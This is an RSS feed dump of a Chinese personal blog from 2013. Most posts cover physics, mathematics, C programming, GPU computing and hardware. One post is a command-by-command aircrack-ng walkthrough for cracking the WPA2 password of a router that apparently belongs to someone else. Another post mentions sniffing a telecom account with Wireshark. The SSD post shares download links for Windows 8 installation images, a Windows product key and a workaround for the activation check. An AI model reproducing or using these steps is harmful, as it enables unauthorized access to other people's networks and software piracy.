这里要说说普朗克长度和普朗克时间。顾名思义，普朗克长度是由普朗克同学提出的，而它的起因是这位同学比较懒，希望计算时不要捣鼓那么多的物理常数，因此创造了一个新的单位制，其中G啊c啊什么的都等于1（详见http://zh.wikipedia.org/wiki/普朗克單位制）。而普朗克长度和普朗克时间即是其中的长度和时间单位。
由于在SI单位制下，普朗克长度同时包含了引力常量与普朗克常量，它的尺度很自然地便有了一定的物理意义。通行的解释是：在小于普朗克尺度的空间内，引力将会表现出量子效应。然而广义相对论已经把引力与时空画上了等号，因此这句话可以转述成：在小于普朗克尺度的空间内，时空将会表现出量子效应。
…由此而推出“时空是离散的，其基本单位是普朗克长度和普朗克时间”，似乎还不是那么令人信服（再次强调，“量子效应”不等于“xxx是量子化的”）。
退一步的说法是：小于普朗克尺度的时空不是现有理论（量子力学＋广义相对论）所能描述的，对它的理解，有待于更好的量子引力理论。 弦论，就我的理解，试图通过为小于普朗克尺度的时空增添维度来解决这一问题。
其他众多理论我不熟悉，但认为时空确实是量子化的理论肯定是有的。好像有一个就叫“格点量子力学”，它的离散性可是写在名字里的。
如果时空真的是离散的，那么理论上我们就可以使用计算机搭建格点模型精确地模拟出一个“小”宇宙。而如果上述为真，那么我们的宇宙本身便很有可能是一个程序模拟。继续推下去，一个有趣但不那么严谨的结论便是：由于不管是连续还是离散的宇宙的智慧生物理论上都有能力模拟出一个离散的宇宙，因此随便挑一个宇宙（例如我们这个），它是离散的的概率要远大于它是连续的的概率。
至于如果宇宙真是离散，为何能使用微积分？早先物理学家还认为物质是连续分布的呢，他们推出的连续体力学、流体力学等等的结论，不是现在还适用吗？还是一个近似以及我们关心的精度的问题。
然而诚然对离散分布的物质不能进行积分，我们必须考虑一个尺度问题。一般来说，在宏观尺度（阿伏加德罗常数）上，连续和离散的区别已是微乎其微了。个别原因，在于物理上的“微元”，与数学上的dx, dt的含义是不同的。物理上的微元不需要严苛地趋向于0，它只需相对我们关心的尺度非常非常小就可以了（“无穷大”也有同样的情况）。譬如研究流体力学，我们往往会取一小块“质元”当作dm。然而就这一块质元可能就包含了几万亿个分子——这没关系，只要相比我们关心的尺度（$10^{23}$个分子）小得多就行了。如果非要一个一个分子去分析，岂不是要烦死？
所以但凡你看到一个物理的微分方程，你都要明白它实质上是一个差分，只是因为∆足够小，我们便把它换成了d以简化计算（实际上，很多物理方程的导出，就是循着“先差分，再把所有∆换成d”的做法来的）。换言之，物理方程必然是有一定的尺度范围的——不管这范围是已知还是未知。你硬要把描述宏观物体的热力学方程套到一两个原子组成的系统上，不失效才怪呢。
那么多小是“足够小”——或者说，多大的尺度是“足够大”？有时我们是通过定性地比较一些“标准尺度”，例如上面一直谈及的阿伏加德罗常数，例如普朗克长度和普朗克时间。当然更多情况下我们可以通过实验验证。</description></item><item><title>多线程之间的通信 GPU计算 单摄像头图像识别 初步思考</title><link>https://changkun.de/blog/posts/%E5%A4%9A%E7%BA%BF%E7%A8%8B%E4%B9%8B%E9%97%B4%E7%9A%84%E9%80%9A%E4%BF%A1-gpu%E8%AE%A1%E7%AE%97-%E5%8D%95%E6%91%84%E5%83%8F%E5%A4%B4%E5%9B%BE%E5%83%8F%E8%AF%86%E5%88%AB-%E5%88%9D%E6%AD%A5%E6%80%9D%E8%80%83/</link><pubDate>Fri, 24 May 2013 02:21:28 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%A4%9A%E7%BA%BF%E7%A8%8B%E4%B9%8B%E9%97%B4%E7%9A%84%E9%80%9A%E4%BF%A1-gpu%E8%AE%A1%E7%AE%97-%E5%8D%95%E6%91%84%E5%83%8F%E5%A4%B4%E5%9B%BE%E5%83%8F%E8%AF%86%E5%88%AB-%E5%88%9D%E6%AD%A5%E6%80%9D%E8%80%83/</guid><description>多线程通信 今天意识到多线程之间的一个明显的问题。
多个线程之间的消息如果实现共享，那么就有可能彼此抓住这个消息不放，从而导致所有使用该资源的线程全部瘫痪。
一个很简单的比方就是：
如果一桌人围着吃饭，但是只有一双筷子，每只筷子分别放在桌子的两端。当一桌人同时去抢某个筷子的时候，只有几个人抓到一些单独的筷子，而不是一双完整的筷子，这时候导致一桌人都没办法吃饭（当抓到的某个筷子被释放，很有可能被其他的人（线程）给抢走）。
于是，一个很自然的问题就是在多个线程的通信当中，建立一组实时（很重要）的通信方法，而这个貌似需要操作系统的知识，慢慢再看。
至于为什么是实时显得尤为重要，举个很简单的例子：
在一个音乐播放器当中，如果我的歌词不是去调用歌词文件（有时间标尺），而是通过歌曲的播放进程来“通知”歌词显示线程一件事实：“我已经播放到这里了”。这时显示歌词的线程才开始响应，从而才去显示歌词。而这时歌曲的播放已经进行一段了，从而导致延迟的效果。
而且这个延迟会随着使用环境的不同时好时坏，当资源通信状态良好时，延迟不会过大，而当使用环境非常恶劣时，很有可能显示歌词的线程在过了很长一段时间后才收到歌曲播放线程发来的消息。
所以，我们非常希望能够使得两个线程之间是“同步通信”或称“并行”的，而不是某个线程做出行动后才去通知另一个线程它应该开始有所行动了。
写的过程中又想到一种不建立实时通信也能够达到很好的并行效果的方法（只适用于某只线程运算较为复杂时）：
当某个复杂线程开始进行反复运算时，在每一次通信的过程中，我都提前一次运算的时间（开始运算时就提醒）上提醒另一只线程该有所作为（提醒后开始），当这次运算结束时进入下一步运算，被提醒的线程已经完成了它的工作。
刚又想到还是存在致命的弱点，随着处理芯片的不同有可能出现很奇葩的不同步。（以后再想想有没有好的适配方法（毕竟这个实现起来比较简单），或者抛弃这个方案）
GPU计算 写这里的时候查了一下我这个显卡（GT650M）的流处理单元的个数，作为笔记本显卡，384还算是一个比较靠谱的值了。
至于为什么要有这个想法的诞生，其实是我在做部分图像处理的时候遇到比较头疼的问题：运算速度太慢。
如果我在处理某个图像的时候能够把一部分运算分担给GPU的话，这样CPU就会显得稍微轻松许多。
然后我查了一下关于GPU计算的信息，发现这货居然是NVIDIA先提出来的。奶奶的要是我早生几年就好了，NVIDIA的官网，很多年前NVIDIA曾今生产过并行显卡（只有并行显卡才可以使用GPU计算，原因之前已经说了），后来在官网上放了很多的例子和一些事例代码来辅助并鼓励很多开发者来使用GPU计算的强大功能。后来又不知道什么原因NVIDIA居然一段时间制造的显卡是串行显卡，于是这个GPU计算的功能荒废了一阵（原因没有考究），后来NVIDIA看见AMD也开始在GPU计算上发力，于是最近几年又开始转向GPU计算的研发并且高速发展（事实上NVIDIA比AMD在GPU计算上强了不止一点两点）。
于是我找到NVIDIA官网上一些例子发现根本用不了（远古代码，根本不支持新驱动，NVIDIA），感叹怪不得现在很多人研究这个。
很多人声称提高运行速度不止一倍两倍，是好几十倍，（根本没有源码叫我怎么验证、、说不定你说的好几十倍是最好的结果）因为关于GPU计算方面的内容多半出现在论文当中，至少Google是这么告诉我的。不过这方面的技术貌似还是受到各种限制，如果需要将大量信息流发送到显卡中让显卡来进行计算，系统总线岂不是要爆了？ 万一我要处理好几个G的信息怎么办？所以这方面技术目前占时还受到一些限制、、慢慢去了解这个东西吧、
单摄像头图像识别 最后来谈一下单摄像头手势识别的问题，网上搜到很多所谓学者在研究这个事情，如果把一个手势从复杂多变的背景当中剥离出来。
要是我解决了岂不是这些人得恨死我？他们上哪儿吃饭去？因为这个主要讲究识别率的问题，如果一个手势识别率仅仅30%一下这还有什么识别的意义，不就相当于猜了么。
单个摄像头一直存在瓶颈就是没有办法判断井深，如果是两个摄像头就好解决了。其实我主要想了几个方案，由于没有实验过，也只是处于理论阶段。
方案1: 单个画面的运动物体捕捉总体来说可以考虑在某帧画面中搜寻几个易于识别的兴趣点，然后跟踪这几个点的位置变化。
方案2: 对单帧画面进行色调分析，分析出感兴趣色调范围内的区域来响应消息队列。（和使用环境有很大影响、、这个高识别率可能或者一定存在极大的困难）
方案3: 待定
前阵子听说有学者在音频信号分离方面，证明了如果仅仅是单个麦克风采集到的多个人说话的声音信息是不可能完整分离的。（被证明了不可能，所以我很怀疑一个摄像头是不是也不能判断井深、、）
最后想吐槽一下笔记本的摄像头，为什么就不能配两个？配两个我还可以进行3D建模，甚至可以让视频通话的时候建立3D视频效果，提升高强度的用户体验。
最后的最后提醒一下自己：不要随意的跳入某个大坑，坑太大即便挖倒水了，怎么爬上去呢？</description></item><item><title>我这是要转 Ubuntu 的节奏吗</title><link>https://changkun.de/blog/posts/%E6%88%91%E8%BF%99%E6%98%AF%E8%A6%81%E8%BD%AC-ubuntu-%E7%9A%84%E8%8A%82%E5%A5%8F%E5%90%97/</link><pubDate>Mon, 20 May 2013 16:08:08 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%88%91%E8%BF%99%E6%98%AF%E8%A6%81%E8%BD%AC-ubuntu-%E7%9A%84%E8%8A%82%E5%A5%8F%E5%90%97/</guid><description>破了电信还是不爽，没事上午体育课的时候鼓捣了下破路由器的密码。大爱ubuntu。
1.下载安装aircrack-ng。
sudo apt-get install aircrack-ng
2.启动无线，垃圾微软禁用开启无线，ubuntu直接调用爽歪歪，开启完成后进入ubuntu ，开一个终端，ifconfig -a看看wlan是否开启，开启正常可进行下一步。
3.准备工作完成，开始破解。开启终端1，
sudo airmon-ng start wlan0sudo airodump-ng mon0
这时会看到无线的地址出现在屏幕上，这里有显示它们的mac地址以及所在频道。现在大部分的路由都是wpa2的加密方式，果断选择类型为wpa2的无线为破解对象。我们需要记录它所在的频道以及mac地址。
4.开启终端2
sudo airodump-ng &amp;ndash;channel 【频道】 &amp;ndash;bssid 【目标主机mac地址】 -w wpa2 mon0
这里的wpa2为默认的存包文件的名字，可以更改。
5.开启终端3
sudo aireplay-ng -1 0 -a 【目标mac】 -h 【本机MAC地址】 mon0 （本机的mac可以开启一个新的终端用ifconfig -a来查询）
这时会有成功字样显示，如果没有显示可能就是目标不支持或者系统部稳定，需要更换目标了。显示成功后进行下步。
6.继续输入
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 【目标MAC地址】 -h 【本机MAC地址】 mon0 此时终端2中的数据会增长很快，当数据到达5000的时候就可以破解了。
7.开启终端4
sudo aircrack-ng wpa2*.cap 这时就开始破解了，如果你进行过多组，可能会有多组结果，你可以用数字123进行选择，如果不出意外你已经破解出来这组无线的密码了。
8.最后 结束监控过程
sudo airmon-ng stop mon0 ( sudo airomon-ng check可以查看你开启了多少监控，如果运行多组的时候可以查看后选择关闭)。</description></item><item><title>结构体排序引发的一连串问题</title><link>https://changkun.de/blog/posts/%E7%BB%93%E6%9E%84%E4%BD%93%E6%8E%92%E5%BA%8F%E5%BC%95%E5%8F%91%E7%9A%84%E4%B8%80%E8%BF%9E%E4%B8%B2%E9%97%AE%E9%A2%98/</link><pubDate>Tue, 07 May 2013 01:13:13 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%BB%93%E6%9E%84%E4%BD%93%E6%8E%92%E5%BA%8F%E5%BC%95%E5%8F%91%E7%9A%84%E4%B8%80%E8%BF%9E%E4%B8%B2%E9%97%AE%E9%A2%98/</guid><description>1 2 3 4 5 6 7 8 9 10 11 12 题目： 给出n个仅由小写字幕构成的字符串，仅按其首字母排序。（若首字母相同，则直接维持原来的顺序。） 输入格式： 第一行为n。 接下来n行，每行一个串。 输出格式： n行，按排好的顺序，每行一个串。 数据规定： n &amp;lt;= 1000, 串长小于100000。 话说这题前前后后每周大概抽两个小时来搞这题，未怀疑过评测系统出问题，因为我看见老师过了。 前前后后拖了一个月的时间。
放上最终的代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include &amp;lt;iostream&amp;gt;#include &amp;lt;fstream&amp;gt;#include &amp;lt;cstdio&amp;gt;#include &amp;lt;cstdlib&amp;gt;#include &amp;lt;cstring&amp;gt;#include &amp;lt;cmath&amp;gt;#include &amp;lt;climits&amp;gt;#include &amp;lt;string&amp;gt;#include &amp;lt;algorithm&amp;gt;#include &amp;lt;vector&amp;gt;#include &amp;lt;map&amp;gt;#include &amp;lt;time.</description></item><item><title>Ubuntu 相关</title><link>https://changkun.de/blog/posts/ubuntu-%E7%9B%B8%E5%85%B3/</link><pubDate>Mon, 06 May 2013 02:50:01 +0000</pubDate><guid>https://changkun.de/blog/posts/ubuntu-%E7%9B%B8%E5%85%B3/</guid><description>今天突然想到了在linux下用wireshark对电信账号进行抓包。
于是果断掏出柜子里放了很久的电脑。
以前安装ubuntu挺好的，今天试了好几个小时发现都装不到电脑里面，无奈之下格掉了整个硬盘，从U盘进winPE然后用iso的那个软件
制作u盘启动（直接搞死活不行）。
装好了ubuntu后又遇到了很多问题：
问题：
无法从终端使用命令su切换到root权限 解决办法：
1 2 3 sudo passwd [密码] [密码] 在Ubuntu 里面安装了wireshark 发现直接在普通用户下运行wireshark。不能启用抓包。会提示： 1 ubuntu/wireshark: There are no interfaces on which a capture can be done. 然后郁闷了很久，就想到会不会是权限不够，于是在终端里面：
1 sudo wireshark 果然可以进行抓包了，但是TNND还是有报错：
1 Lua: Error during loading: [string &amp;#34;/usr/share/wireshark/init.lua&amp;#34;]:45: dofile has been disabled 然后非常的不爽。
然后跟踪这个路径找到init.lua这个文件。
1 vim /usr/share/wireshark/init.lua 在倒数第二行把</description></item><item><title>逃生时间初算</title><link>https://changkun.de/blog/posts/%E9%80%83%E7%94%9F%E6%97%B6%E9%97%B4%E5%88%9D%E7%AE%97/</link><pubDate>Sat, 20 Apr 2013 18:21:21 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%80%83%E7%94%9F%E6%97%B6%E9%97%B4%E5%88%9D%E7%AE%97/</guid><description>google地图告诉我：双流县距离雅安大约110km。
地震发生时，首先是从震源 P波（纵波）跟S波（横波）2个地震波发生。
P波在地壳的浅层以毎秒約6km的速度, S波以毎秒3.5km的速度传播.
P波到达双流的时间大致为：110 / 6 = 18s
S波到达双流的时间大致为：110 / 3.5 = 31s
所以当我们感到轻微晃动的时候，最坏的情况下还有31-18 = 13s的时间用于逃生、
我们人的反应时间是1s。
住在四楼以上的同学们洗洗睡吧。。不要想着逃跑了。。
根据专家报道。。震动在地下13公里。。
根据勾股定理，实际传播距离会多出大约一公里。。。好吧忽略了。。</description></item><item><title>全空间和空空间？</title><link>https://changkun.de/blog/posts/%E5%85%A8%E7%A9%BA%E9%97%B4%E5%92%8C%E7%A9%BA%E7%A9%BA%E9%97%B4/</link><pubDate>Thu, 11 Apr 2013 07:30:30 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%85%A8%E7%A9%BA%E9%97%B4%E5%92%8C%E7%A9%BA%E7%A9%BA%E9%97%B4/</guid><description>Rn中的开闭集到真是两个不错的概念， 在R中，闭集上的连续函数有很多优良的性质，例如有界性等。但是开集就不同了，它俩的差距还是蛮大的，仅仅因为两个端点就破坏了原本美好而优良的一种结构。
而在Rn中，有两个特殊的空间：全空间Rn 和 空空间（本人的叫法，实际上就是空集= =），因为只有它们是Rn中即开又闭的。怎么证明呢？ 若S是Rn中的集合，且S既开且闭，我们准备证明S为Rn或空集。 利用连通性可以给出一个一句话证明： 因S是闭集，所以那么Rn-S是开的。于是Rn=S并(Rn-S)是两个不相交的开集的并。根据Rn的连通性知S与Rn中至少有一为空集，故S=Rn或空集。
实际上，道路连通&amp;gt;连通&amp;gt;这个命题。。因此真证明起Rn的连通性，这种证法是比较复杂的。。
我给出另外一个证法。 首先我们证明S的边界是空集。因为S开，S内的点都是内点，所以S内无S的边界点。同理Rn-S内也无S的边界点，因此S的边界为空集。 如果S和Rn-S均非空，则存在x属于S，y属于Rn-S。设L是联结x和y的直线段，则L是有界闭集。设z是L的重点，则z属于S或z属于Rn-S。因而L有子直线段L1分别以S与Rn-S中的点为其端点，依次可构造由L的子直线段组成的有界非空闭集套，L L1 &amp;hellip; Li &amp;hellip; 其集合半径趋于0.且两端点分别为S和Rn-S中的点。根据闭集套定理，存在唯一的点p属于所有直线段。由边界点的定义可见p属于S的边界，与S的边界为空集相矛盾。证完。</description></item><item><title>从装系统中学到的</title><link>https://changkun.de/blog/posts/%E4%BB%8E%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%B8%AD%E5%AD%A6%E5%88%B0%E7%9A%84/</link><pubDate>Mon, 08 Apr 2013 16:24:23 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BB%8E%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%B8%AD%E5%AD%A6%E5%88%B0%E7%9A%84/</guid><description>前天在京东上买了三爽的840pro，昨天中午拿到后便开始鼓捣如何安装。
不要问我价格，硬盘这种东西属于日跌品，一天一个价。如果你想买的话，建议还是去京东这种卖正品的地方买大牌子，淘宝什么的，这种东西还是算了吧。 不然的话，其他的虽然也叫SSD，搞不好哪天你自己都不知道自己是怎么挂的。
还有，本文示例机器为DELL 17R 4728，买来就已经装好了正版的windows8操作系统，正是因为如此，才会导致我这个小白在安装系统的过程中，出现了各类奇葩的以前从未遇见过的问题。具体情况，我们下面再说。 安装系统的过程基本上都是类似的，可以说是一通百通。不要因为说只会给某某笔记本装系统这种话，如果是这样就说明你已经沦为工人，不懂得思考。
前置知识： 顺便说一句，我之所以选择840pro其实也是观望了很久的。 本来一开始我是打算买金士顿这种相当廉价的128g的SSD（这时候对SSD完全不具备任何知识，只是道听途说它很快），不过在日后的观察中发现，事实上号称SSD也是有优劣之分的。它并不像传统的机械硬盘一样，5400转 、7200转甚至10000转的硬盘，由于他本身的结构限制，两个成品的5400转硬盘，其读写速度相差不会太大（本身速度就不大= =），可能在寿命上会有一些差距，不过没意外的话用个五六年是没什么问题的吧。
三星在存储技术方面有很雄厚的积累，使得他自己有能力生产自己SSD所有的组件，这样它可以压低成本也能够保证稳定性。三星就稳定性和英特尔比起来，他俩算是做的最好的了（目前）。 同时，三星的SSD要比英特尔的便宜，所以很多厂商也选择三星的SSD来做OEM（什么是OEM我们等会儿再说）。以前三星的SSD速度一直是位于中端位置，自从830发布之后，这个局面已经大大改观了。
之前我在京东上相中了840，而不是840pro 。原因很简单，840比pro版便宜了很多。但是在观望这块SSD的过程中就发现很多买家抨击这块
硬盘的寿命太短。这是什么原因呢？我们先来看看一些小知识：
更为详细的SSD工作原理，有兴趣的可以去参考《深入理解计算机系统》这本书。 SSD的存储架构一般有三种：
SLC=Single-LevelCell，即1bit/cell，速度快寿命长，价格超贵（约MLC3倍以上的价格），约10万次擦写寿命
MLC=Multi-LevelCell，即2bit/cell，速度一般寿命一般，价格一般，约3000&amp;mdash;10000次擦写寿命
TLC=Trinary-LevelCell，即3bit/cell，也有Flash厂家叫8LC，速度慢寿命短，价格便宜，约500次擦写寿命，目前还没有厂家能做到1000次。
有兴趣可以参看这篇文章稍微的详细介绍：http://tieba.baidu.com/p/2121663575
三星的840就属于TLC的架构，所以很多网友就吐槽他的寿命太低。但是实际上按照120G的容量，如果算一天读写入5G的缓存文件，那么大约需要20天才会完成一次擦写寿命。至少500次的擦写寿命，大家可以想想，TLC的SSD实际上也是可以使用很长时间的。
= =好吧我承认我有强迫症，即便如此，我还是可耻的入了pro版本的，pro版是MLC架构的。所以使用四五年还是没什么问题的，而且这个硬盘的发票上注明了：五年之内保修。这个。。基本上五年之后这笔记本也差不多该换了。
为什么不考虑SLC？回去看它的介绍、、普通大众、、洗洗睡吧、、
顺便说一句，实际上不买SLC也是可以达到这种速度的，那就是组RAID，至于什么是组RAID，有兴趣的同学可以自己研究一下，这个不是本文的主题了。
=============================================================================================================
晒图
=============================================================================================================
SUMSUNG SSD 840 PRO
真面目（话说这玩意儿真的好轻，比我的手机还轻）
=============================================================================================================
三星赠送的供一般用户转移数据用的，比如说我们可以用它直接把原来系统中的系统盘的所有文件通过他来转移到SSD中，但是我们不建议使用这种方式，因为原来系统盘中有各类垃圾文件，直接转移过去可能导致各类奇葩系统不稳定，不过我没试过，喜欢折腾的同学们可以尝试一下。
=============================================================================================================
=============================================================================================================
好，下面我们来看到怎么装系统。
=============================================================================================================
一、准备工作 首先我们要准备好系统安装包。
win8专业版 系统下载：
32位系统：
ed2k://|file|cn_windows_8_x86_dvd_915414.iso|2679801856|9AF10141BFD61BC66D9D6459758D7749|/
64位系统：
ed2k://|file|cn_windows_8_x64_dvd_915407.iso|3652950016|5C7F8C212BD3A1827866563773A431C2|/
安装密钥：NG4HW-VH26C-733KW-K6F98-J8CK4
工具：各种螺丝刀 （用于拆卸后盖，替换原装硬盘）
下载完毕后是iso格式的文件，请用快压之类的软件将其解压到一个空U盘内。准备装系统用。
注意，如果你的笔记本从来没有更换过系统（win8），一直是用的是原厂的系统，就会在主板上记录下你的激活信息。这是因为：
以前新一代Windows操作系统发布之后，一系列OEM激活码就如雨后春笋般出现。同时也产生了大量的盗版副本，微软对此早已深恶痛绝。究其原因，还是“批量CDKey许可”这种不完善的激活流程所造成的。
Windows 8将不再采用传统的激活方式，具体方式是每一台OEM机器都被要求写入唯一对应的Windows 8产品密钥，而无法再通过一个CDKey来批量激活系统。
这样就会导致安装win8其他版本时检测到主板的激活信息冲突，导致无法安装/
解决办法是：
在解压到U盘的sources文件夹下，新建文本，写入如下信息：
[EditionID] [Channel] Retail [VL] 0
然后将文件名更改为： ei.</description></item><item><title>string 标准库实现日志</title><link>https://changkun.de/blog/posts/string-%E6%A0%87%E5%87%86%E5%BA%93%E5%AE%9E%E7%8E%B0%E6%97%A5%E5%BF%97/</link><pubDate>Sun, 31 Mar 2013 21:54:21 +0000</pubDate><guid>https://changkun.de/blog/posts/string-%E6%A0%87%E5%87%86%E5%BA%93%E5%AE%9E%E7%8E%B0%E6%97%A5%E5%BF%97/</guid><description>1 2 #include &amp;lt;stdio.h&amp;gt;#include &amp;lt;malloc.h&amp;gt; 本文主要讨论：memcpy、memmove、strcpy、strncpy、strcat、strncat
memcpy memcpy的函数原型为：
1 void *memcpy( void *s1, const void *s2, size_t n ); 功能：函数 memcpy 从 s2 指向的对象中复制n个字符到s1指定的对象中。 如果发生在两个重叠的对象中，则这种行为未定义。
从上面这段文字来看，有两个概念是暂时不清晰的。
什么是 size_t ? 下面的这段是从crtdefs.h中拉过来的：
1 2 typedef _W64 unsigned int size_t; //所以 size_t 只不过是被 typedef 过的 unsigned int. size_t 类型定义在 cstddef 头文件中，该文件是 C 标准库的头文件 stddef.h 的 C++ 版。 它是一个与机器相关的 unsigned 类型，其大小足以保证存储内存中对象的大小。 size_t 是标准 C 库中定义的，应为 unsigned int，在 64 位系统中为 long unsigned int。 关签大神指出：「理解为当前系统的可寻址内存宽度, 32 位下就是 32 位，64 位下是 64.</description></item><item><title>通过安装 Wordpress 插件所学到的</title><link>https://changkun.de/blog/posts/%E9%80%9A%E8%BF%87%E5%AE%89%E8%A3%85-wordpress-%E6%8F%92%E4%BB%B6%E6%89%80%E5%AD%A6%E5%88%B0%E7%9A%84/</link><pubDate>Thu, 28 Mar 2013 13:41:10 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%80%9A%E8%BF%87%E5%AE%89%E8%A3%85-wordpress-%E6%8F%92%E4%BB%B6%E6%89%80%E5%AD%A6%E5%88%B0%E7%9A%84/</guid><description>因为主要是数学和计算机方面，所以不需要什么过分牛逼的插件吧，所以装了几个相当常用的插件了。下面介绍最为重要的两个插件：
LaTeX for WordPress 这个插件可以编写latex的公式，非常给力，效果正如大家所看到的，下面是插入的一组麦克斯韦方程组：
$$ \begin{cases} \nabla\cdot\vec{E}=\frac{\rho}{\varepsilon_{0}}\ \nabla\cdot\vec{B}=0\ \nabla\times\vec{E}=-\frac{\partial\vec{B}}{\partial t}\ \nabla\times\vec{B}=\mu_{0}\vec{J}+\mu_{0}\varepsilon_{0}\frac{\partial\vec{E}}{\partial t} \end{cases} $$
所以呢，这样就非常方便我以后写公式了，以前找过很多写博客的地方，甚至包括QQ空间，都让插入公式变得十分的痛苦。
SyntaxHighlighter Evolved 恩，既然和计算机相关，那么代码这变得不可或缺。这个插件是我从隔壁 lellansin 盗过来的。感觉不错。 比方说下面是一个排序函数：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void DataSort( int data[], int n, int (* compare) ( int a, int b ) ) { int I, j, k, temp; for( I = 0; I &amp;amp;lt; n-1; i++ ) { k = i; for( j = i+1; j &amp;amp;lt; n; j++ ) { if( (* compare)( data[j], data[k] ) ) k = j; } if( k !</description></item><item><title>C Details 之 基本细节</title><link>https://changkun.de/blog/posts/c-details-%E4%B9%8B-%E5%9F%BA%E6%9C%AC%E7%BB%86%E8%8A%82/</link><pubDate>Wed, 27 Mar 2013 23:42:21 +0000</pubDate><guid>https://changkun.de/blog/posts/c-details-%E4%B9%8B-%E5%9F%BA%E6%9C%AC%E7%BB%86%E8%8A%82/</guid><description>1、有效数字 一般而言，double型数据可以接受实型常量的16位有效数字，而float型变量仅能接受实型常量的7位有效数字， 在有效数字后面输出的数字都是不准确的。
例如：
1 2 float a = 123456.7890123456e12; double b = 123456.7890123456e12; 可以尝试：
1 printf(&amp;#34;%f\n%f\n&amp;#34;,a,b); 2、变量定义的位置 C语言中要求定义变量必须在所有可执行语句之前。
例如：
1 2 3 printf(&amp;#34;Input n:&amp;#34;); int n; scanf(&amp;#34;%d&amp;#34;,&amp;amp;n); 这一规定仅仅只是在C89中规定，从C99开始便取消了这一规定并且，C++也并没有这一规定，例如：
1 2 for( int i = 0; i &amp;lt; Num; i++ ) Do something; 3、关于自增 一个疑问：对于
1 2 3 a = 1; b = a++; c = ++a; 为什么b的值为1，c的值为2？</description></item><item><title>又读流形</title><link>https://changkun.de/blog/posts/%E5%8F%88%E8%AF%BB%E6%B5%81%E5%BD%A2/</link><pubDate>Mon, 25 Mar 2013 23:15:18 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%8F%88%E8%AF%BB%E6%B5%81%E5%BD%A2/</guid><description>从牛顿说起 说到流形，要从 Newton 说起。 寒假的时候，也不知是在哪儿看的，说是当时Newton对三次曲线分类，实可逆线性变换和平移变换下的标准型有78类。
今天读古今数学思想的时候才知道其实Newton只得到了72个，Stirling后来在1717年的时候又补了4个，一个叫 Jean paul de gua de maives（这货名字好奇特）的人在1740年的时候又补了两个。
又要说到三次曲线上一个非常神秘的结构。比方说给一个集合：
$$ {P (x,y) | y^{2}=x^{3}+17,x,y\in C}\bigcup{0} $$
定义一个运算$\bigoplus$，这个运算满足交换律、结合律、零元律、负元律。 在公元250年左右有个叫Diaphantus的人就求出了这个运算的一个表达式，后来Newton就在对这个非常神秘的运算公式进 行了几何解释（据说是在1670年后）。
后来euler在1756年到1757年间研究过一个类似的积分加法公式（举个例子就是 $ \arcsin{x}+ \arcsin{a} = \arcsin{x\bigoplus a} $，研究这个$\bigoplus$运算），后来Euler得到了 $x\bigoplus a$的一个表达式、并在1756-1757年间尝试用此公式来解一个常微方程（很显然那个的积分并不是初等函数）。 当时是说Fagano在1717，2020年先得到了特殊解，Euler在1756、1757的时候得到了一般解。 据说Gauss也研究过这个积分，他也获得了两个非常神秘的周期，而且这两个周期有非常奇葩的联系。(有空补上) 不过，很遗憾、事实上Lagrange早在1785年就已经发现，并且还发表了（古今数学思想上说的、、）， 我估计是当时 Gauss 没看到，当时Gauss是在1799年发现，写在日记本上，当然他没有即使发表。要不然……
1823年的时候，abel整合了以上这些人的工作，包括一般积分加法公式和双周期。 他发现，一般椭圆积分的关键思想是“反演”。从而椭圆积分概念走向椭圆函数概念。 椭圆函数的另一个发现者是Jacobi，他是在1827年的时候独立得到椭圆积分的“反演”思想。（也就是说Abel研究椭圆函数 的时候，Jacobi开始研究椭圆函数）他送了一篇没有证明的论文给Astronomische nachrichten，差不多是在同一时间， abel独立发表了他的《关于椭圆函数的研究》，两人都达到了从椭圆积分的反函数着手研究这一关键性想法。（但是好像后 来Jacobi承认，他是在看到abel的论文后才意识到反演的关键性所在。） 不过很可惜啊！！！！abel在1829年就去世了、jacobi活到1851年、发表了比abel更多的东西。而且1829年jacobi的 《椭圆函数基本新理论》成了椭圆函数的一本关键性著作。 通过Jacobi的来信，Legendre熟悉了Jacobi和Abel的工作，这么评价“我很满意地看到两个年轻数学家如此成功地开辟 了分析的一个分支，它很久以来是我喜爱的领域，但在我自己的国家中它却没有受到应有的重视”。
主要的问题在于，Abel积分的难点是，$x$是$y$的多值函数，那么积分中的$y$到底应该取什么值。所以Abel就认识到从 1666年Newton-Lebniz的微积分开始，建立的“单值函数论”的思想，经过了150多年的发展，如今遇到了巨大的困难。那么突破口在哪里呢？
这时候大神Riemann登场了、、Riemann大神常常被描述为一个纯粹数学家，不过这远非正确。虽然他对数学本身作了很多 贡献，但他深深地关心于物理及数学与物理世界的关系。（好吧、这个和这次主题无关、我多嘴了、）
Riemann发现关键是四维空间中看不到的某（打不出来）“紧化”后，“同样”于三维空间中“看得到”的环面（面包圈= =）， 这个环面上有独立的两个“同调圈”。Riemann并且还认识到那个积分的严格写法。后来riemann搞出来一个东西叫做 Riemann面，他把Gauss-Abel他们神秘的发现“所有椭圆函数都有两个周期”，被Riemann用Riemann面,【显然的】， 【直接的】，“看到了”！。那个普遍的拓扑定理，在：
1851年，Riemann知道。 1863年，Mobius独立发现。 1866年，Jordan独立知道。 1907年，Dehn和Heggard严格证明。 洞的个数叫做genus，是最基本的拓扑不变量。 几点感悟 说点感悟吧！
